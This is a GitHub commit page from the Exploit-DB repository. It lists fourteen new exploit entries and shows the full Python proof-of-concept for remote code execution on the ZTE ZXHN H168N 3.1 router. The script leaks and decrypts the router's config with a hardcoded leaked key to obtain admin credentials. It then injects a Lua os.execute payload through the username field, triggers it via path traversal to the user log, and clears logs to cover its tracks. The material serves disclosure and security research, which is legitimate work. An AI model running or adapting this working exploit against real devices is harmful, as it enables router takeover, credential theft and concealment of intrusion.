Skip to content

Commit 0f3d104

Browse files
author
Exploit-DB
committed
DB: 2025-04-15
15 changes to exploits/shellcodes/ghdb ZTE ZXHN H168N 3.1 - Remote Code Execution (RCE) via authentication bypass GestioIP 3.5.7 - Cross-Site Request Forgery (CSRF) GestioIP 3.5.7 - Cross-Site Scripting (XSS) GestioIP 3.5.7 - Reflected Cross-Site Scripting (Reflected XSS) GestioIP 3.5.7 - Remote Command Execution (RCE) GestioIP 3.5.7 - Stored Cross-Site Scripting (Stored XSS) OpenPanel 0.3.4 - Directory Traversal OpenPanel 0.3.4 - Incorrect Access Control OpenPanel 0.3.4 - OS Command Injection OpenPanel Copy and View functions in the File Manager 0.3.4 - Directory Traversal Pimcore 11.4.2 - Stored cross site scripting Pimcore customer-data-framework 4.2.0 - SQL injection SilverStripe 5.3.8 - Stored Cross Site Scripting (XSS) (Authenticated) Xinet Elegant 6 Asset Lib Web UI 6.1.655 - SQL Injection
1 parent 60175c9 commit 0f3d104

File tree

15 files changed

+1139
-0
lines changed

15 files changed

+1139
-0
lines changed
Lines changed: 331 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,331 @@
1+
# Exploit Title: ZTE ZXHN H168N 3.1 - RCE via authentication bypass
2+
# Author: l34n / tasos meletlidis
3+
# Exploit Blog: https://i0.rs/blog/finding-0click-rce-on-two-zte-routers/
4+
5+
import http.client, requests, os, argparse, struct, zlib
6+
from io import BytesIO
7+
from os import stat
8+
from Crypto.Cipher import AES
9+
10+
def login(host, port, username, password):
11+
headers = {
12+
"Content-Type": "application/x-www-form-urlencoded"
13+
}
14+
15+
data = {
16+
"Username": username,
17+
"Password": password,
18+
"Frm_Logintoken": "",
19+
"action": "login"
20+
}
21+
22+
requests.post(f"http://{host}:{port}/", headers=headers, data=data)
23+
24+
def logout(host, port):
25+
headers = {
26+
"Content-Type": "application/x-www-form-urlencoded"
27+
}
28+
29+
data = {
30+
"IF_LogOff": "1",
31+
"IF_LanguageSwitch": "",
32+
"IF_ModeSwitch": ""
33+
}
34+
35+
requests.post(f"http://{host}:{port}/", headers=headers, data=data)
36+
37+
def leak_config(host, port):
38+
conn = http.client.HTTPConnection(host, port)
39+
boundary = "---------------------------25853724551472601545982946443"
40+
body = (
41+
f"{boundary}\r\n"
42+
'Content-Disposition: form-data; name="config"\r\n'
43+
"\r\n"
44+
"\r\n"
45+
f"{boundary}--\r\n"
46+
)
47+
48+
headers = {
49+
"Content-Type": f"multipart/form-data; boundary={boundary}",
50+
"Content-Length": str(len(body)),
51+
"Connection": "keep-alive",
52+
}
53+
54+
conn.request("POST", "/getpage.lua?pid=101&nextpage=ManagDiag_UsrCfgMgr_t.lp", body, headers)
55+
56+
response = conn.getresponse()
57+
response_data = response.read()
58+
59+
with open("config.bin", "wb") as file:
60+
file.write(response_data)
61+
62+
conn.close()
63+
64+
def _read_exactly(fd, size, desc="data"):
65+
chunk = fd.read(size)
66+
if len(chunk) != size:
67+
return None
68+
return chunk
69+
70+
def _read_struct(fd, fmt, desc="struct"):
71+
size = struct.calcsize(fmt)
72+
data = _read_exactly(fd, size, desc)
73+
if data is None:
74+
return None
75+
return struct.unpack(fmt, data)
76+
77+
def read_aes_data(fd_in, key):
78+
encrypted_data = b""
79+
while True:
80+
aes_hdr = _read_struct(fd_in, ">3I", desc="AES chunk header")
81+
if aes_hdr is None:
82+
return None
83+
_, chunk_len, marker = aes_hdr
84+
85+
chunk = _read_exactly(fd_in, chunk_len, desc="AES chunk data")
86+
if chunk is None:
87+
return None
88+
89+
encrypted_data += chunk
90+
if marker == 0:
91+
break
92+
93+
cipher = AES.new(key.ljust(16, b"\0")[:16], AES.MODE_ECB)
94+
fd_out = BytesIO()
95+
fd_out.write(cipher.decrypt(encrypted_data))
96+
fd_out.seek(0)
97+
return fd_out
98+
99+
def read_compressed_data(fd_in, enc_header):
100+
hdr_crc = zlib.crc32(struct.pack(">6I", *enc_header[:6]))
101+
if enc_header[6] != hdr_crc:
102+
return None
103+
104+
total_crc = 0
105+
fd_out = BytesIO()
106+
107+
while True:
108+
comp_hdr = _read_struct(fd_in, ">3I", desc="compression chunk header")
109+
if comp_hdr is None:
110+
return None
111+
uncompr_len, compr_len, marker = comp_hdr
112+
113+
chunk = _read_exactly(fd_in, compr_len, desc="compression chunk data")
114+
if chunk is None:
115+
return None
116+
117+
total_crc = zlib.crc32(chunk, total_crc)
118+
uncompressed = zlib.decompress(chunk)
119+
if len(uncompressed) != uncompr_len:
120+
return None
121+
122+
fd_out.write(uncompressed)
123+
if marker == 0:
124+
break
125+
126+
if enc_header[5] != total_crc:
127+
return None
128+
129+
fd_out.seek(0)
130+
return fd_out
131+
132+
def read_config(fd_in, fd_out, key):
133+
ver_header_1 = _read_struct(fd_in, ">5I", desc="1st version header")
134+
if ver_header_1 is None:
135+
return
136+
137+
ver_header_2_offset = 0x14 + ver_header_1[4]
138+
139+
fd_in.seek(ver_header_2_offset)
140+
ver_header_2 = _read_struct(fd_in, ">11I", desc="2nd version header")
141+
if ver_header_2 is None:
142+
return
143+
ver_header_3_offset = ver_header_2[10]
144+
145+
fd_in.seek(ver_header_3_offset)
146+
ver_header_3 = _read_struct(fd_in, ">2H5I", desc="3rd version header")
147+
if ver_header_3 is None:
148+
return
149+
signed_cfg_size = ver_header_3[3]
150+
151+
file_size = stat(fd_in.name).st_size
152+
153+
fd_in.seek(0x80)
154+
sign_header = _read_struct(fd_in, ">3I", desc="signature header")
155+
if sign_header is None:
156+
return
157+
if sign_header[0] != 0x04030201:
158+
return
159+
160+
sign_length = sign_header[2]
161+
162+
signature = _read_exactly(fd_in, sign_length, desc="signature")
163+
if signature is None:
164+
return
165+
166+
enc_header_raw = _read_exactly(fd_in, 0x3C, desc="encryption header")
167+
if enc_header_raw is None:
168+
return
169+
encryption_header = struct.unpack(">15I", enc_header_raw)
170+
if encryption_header[0] != 0x01020304:
171+
return
172+
173+
enc_type = encryption_header[1]
174+
175+
if enc_type in (1, 2):
176+
if not key:
177+
return
178+
fd_in = read_aes_data(fd_in, key)
179+
if fd_in is None:
180+
return
181+
182+
if enc_type == 2:
183+
enc_header_raw = _read_exactly(fd_in, 0x3C, desc="second encryption header")
184+
if enc_header_raw is None:
185+
return
186+
encryption_header = struct.unpack(">15I", enc_header_raw)
187+
if encryption_header[0] != 0x01020304:
188+
return
189+
enc_type = 0
190+
191+
if enc_type == 0:
192+
fd_in = read_compressed_data(fd_in, encryption_header)
193+
if fd_in is None:
194+
return
195+
196+
fd_out.write(fd_in.read())
197+
198+
def decrypt_config(config_key):
199+
encrypted = open("config.bin", "rb")
200+
decrypted = open("decrypted.xml", "wb")
201+
202+
read_config(encrypted, decrypted, config_key)
203+
204+
with open("decrypted.xml", "r") as file:
205+
contents = file.read()
206+
username = contents.split("IGD.AU2")[1].split("User")[1].split("val=\"")[1].split("\"")[0]
207+
password = contents.split("IGD.AU2")[1].split("Pass")[1].split("val=\"")[1].split("\"")[0]
208+
209+
encrypted.close()
210+
os.system("rm config.bin")
211+
decrypted.close()
212+
os.system("rm decrypted.xml")
213+
214+
return username, password
215+
216+
def change_log_level(host, port, log_level):
217+
level_map = {
218+
"critical": "2",
219+
"notice": "5"
220+
}
221+
222+
headers = {
223+
"Content-Type": "application/x-www-form-urlencoded"
224+
}
225+
226+
data = {
227+
"IF_ACTION": "Apply",
228+
"_BASICCONIG": "Y",
229+
"LogEnable": "1",
230+
"LogLevel": level_map[log_level],
231+
"ServiceEnable": "0",
232+
"Btn_cancel_LogManagerConf": "",
233+
"Btn_apply_LogManagerConf": "",
234+
"downloadlog": "",
235+
"Btn_clear_LogManagerConf": "",
236+
"Btn_save_LogManagerConf": "",
237+
"Btn_refresh_LogManagerConf": ""
238+
}
239+
240+
requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_LogManag_t.lp&Menu3Location=0")
241+
requests.get(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua")
242+
requests.post(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua", headers=headers, data=data)
243+
244+
def change_username(host, port, new_username, old_password):
245+
headers = {
246+
"Content-Type": "application/x-www-form-urlencoded"
247+
}
248+
249+
data = {
250+
"IF_ACTION": "Apply",
251+
"_InstID": "IGD.AU2",
252+
"Right": "2",
253+
"Username": new_username,
254+
"Password": old_password,
255+
"NewPassword": old_password,
256+
"NewConfirmPassword": old_password,
257+
"Btn_cancel_AccountManag": "",
258+
"Btn_apply_AccountManag": ""
259+
}
260+
261+
requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_AccountManag_t.lp&Menu3Location=0")
262+
requests.get(f"http://{host}:{port}/common_page/accountManag_lua.lua")
263+
requests.post(f"http://{host}:{port}/common_page/accountManag_lua.lua", headers=headers, data=data)
264+
265+
def clear_log(host, port):
266+
headers = {
267+
"Content-Type": "application/x-www-form-urlencoded"
268+
}
269+
270+
data = {
271+
"IF_ACTION": "clearlog"
272+
}
273+
274+
requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_LogManag_t.lp&Menu3Location=0")
275+
requests.get(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua")
276+
requests.post(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua", headers=headers, data=data)
277+
278+
def refresh_log(host, port):
279+
headers = {
280+
"Content-Type": "application/x-www-form-urlencoded"
281+
}
282+
283+
data = {
284+
"IF_ACTION": "Refresh"
285+
}
286+
287+
requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_LogManag_t.lp&Menu3Location=0")
288+
requests.get(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua")
289+
requests.post(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua", headers=headers, data=data)
290+
291+
def trigger_rce(host, port):
292+
requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_StatusManag_t.lp&Menu3Location=0")
293+
requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=..%2f..%2f..%2f..%2f..%2f..%2f..%2fvar%2fuserlog.txt&Menu3Location=0")
294+
295+
def rce(cmd):
296+
return f"<? _G.os.execute('rm /var/userlog.txt;{cmd}') ?>"
297+
298+
def pwn(config_key, host, port):
299+
leak_config(host, port)
300+
username, password = decrypt_config(config_key)
301+
302+
login(host, port, username, password)
303+
304+
shellcode = "echo \"pwned\""
305+
payload = rce(shellcode)
306+
307+
change_username(host, port, payload, password)
308+
refresh_log(host, port)
309+
change_log_level(host, port, "notice")
310+
refresh_log(host, port)
311+
312+
trigger_rce(host, port)
313+
clear_log(host, port)
314+
315+
change_username(host, port, username, password)
316+
change_log_level(host, port, "critical")
317+
logout(host, port)
318+
print("[+] PoC complete")
319+
320+
def main():
321+
parser = argparse.ArgumentParser(description="Run remote command on ZTE ZXHN H168N V3.1")
322+
parser.add_argument("--config_key", type=lambda x: x.encode(), default=b"GrWM3Hz&LTvz&f^9", help="Leaked config encryption key from cspd")
323+
parser.add_argument("--host", required=True, help="Target IP address of the router")
324+
parser.add_argument("--port", required=True, type=int, help="Target port of the router")
325+
326+
args = parser.parse_args()
327+
328+
pwn(args.config_key, args.host, args.port)
329+
330+
if __name__ == "__main__":
331+
main()

0 commit comments

Comments
 (0)